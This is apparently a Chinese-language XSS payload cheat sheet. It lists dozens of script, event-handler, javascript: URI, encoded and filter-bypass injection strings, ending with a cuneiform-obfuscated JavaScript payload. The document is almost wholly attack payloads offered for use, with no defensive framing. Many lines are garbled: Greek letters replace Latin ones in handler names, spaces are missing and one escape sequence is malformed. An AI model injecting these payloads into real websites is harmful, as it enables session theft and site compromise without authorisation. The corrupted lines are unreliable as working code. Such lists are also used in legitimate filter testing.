XSS 注入大法payload

<script>alert(1)</script>
<script>confirm(1)</script>
<script>prompt(1)</script>
<script>\u0061\u006C\u0065\u0072\u0074(1)</script>
<script>+alert(1)</script>
<script>alert(/1/)</script>
<script src=&#100&#97&#116&#97:text/javascript,alert(1)></script>
<script>alert(String.fromCharCode(49,49))</script>
<script>alert(/1/.source)</script>
<script>setTimeout(alert(1),0)</script>
<script>document['write'](1);</script>
<anytag οnmοuseοver=alert(15)>M
<anytag οnclick=alert(16)>M
<a οnmοuseοver=alert(17)>M
<a οnclick=alert(18)>M
< a href=javascript:alert(19)>M
<button/οnclick=alert(20)>M
formaction=javascript&colon;alert(21)>M
<form/action=javascript:alert(22)><input/type=submit>
<form οnsubmit=alert(23)><button>M
<form οnsubmit=alert(23)><button>M
< img src=x οnerrοr=alert(24)> 29
<body/οnlοad=alert(25)>
οnscrοll=alert(26)><br><br><br><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br><br>
<input autofocus>
<iframe/οnlοad=alert(document.domain)></iframe>
<IFRAME SRC="javascript:alert(29);"></IFRAME>
<meta http-equiv="refresh" content="0;
url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2830%29%3C%2%73%63%72%69%70%74%3E">
<object data=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+></object>
<object data="javascript:alert(document.domain)">
<marquee onstart=alert(30)></marquee>
<isindex type=image src=1 οnerrοr=alert(31)>
<isindex action=javascript:alert(32) type=image>
<input οnfοcus=alert(33) autofocus>
<input οnblur=alert(34) autofocus><input autofocus>
<ImG/sRc/OnErRoR=alert(document.domain)>
< img src="vbscript:msgbox(1)">
<script>alert('xss')</script>
< img src=x οnerrοr=alert(1)>
< img src =“javascrip&#116&#58alert(/xss/);">
< img src =“javascript:alert(/xss/);">
</style>< img src=1 οnerrοr=alert(1)>

新增bypass：

<svgonx=() οnlοad=(confirm)(1)>
<svgonx=() οnlοad=(alert)(1)>
<a/href="javascript:alert(1)">
<audiosrc/οnerrοr=alert(1)>
<marqueewidth=1loop=1onfinish=alert(1)>XSS</marquee>
<objectdata="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></object>
𒀀='',𒉺=!𒀀+𒀀,𒀃=!𒉺+𒀀,𒇺=𒀀+{},𒌐=𒉺[𒀀++],𒀟=𒉺[𒈫=𒀀],𒀆=++𒈫+𒀀,𒁹=𒇺[𒈫+𒀆],𒉺[𒁹+=𒇺[𒀀]+(𒉺.𒀃+𒇺)[𒀀]+𒀃[𒀆]+𒌐+𒀟+𒉺[𒈫]+𒁹+𒌐+𒇺[𒀀]+𒀟][𒁹](𒀃[𒀀]+𒀃[𒈫]+𒉺[𒀆]+𒀟+𒌐+"(𒀀)")()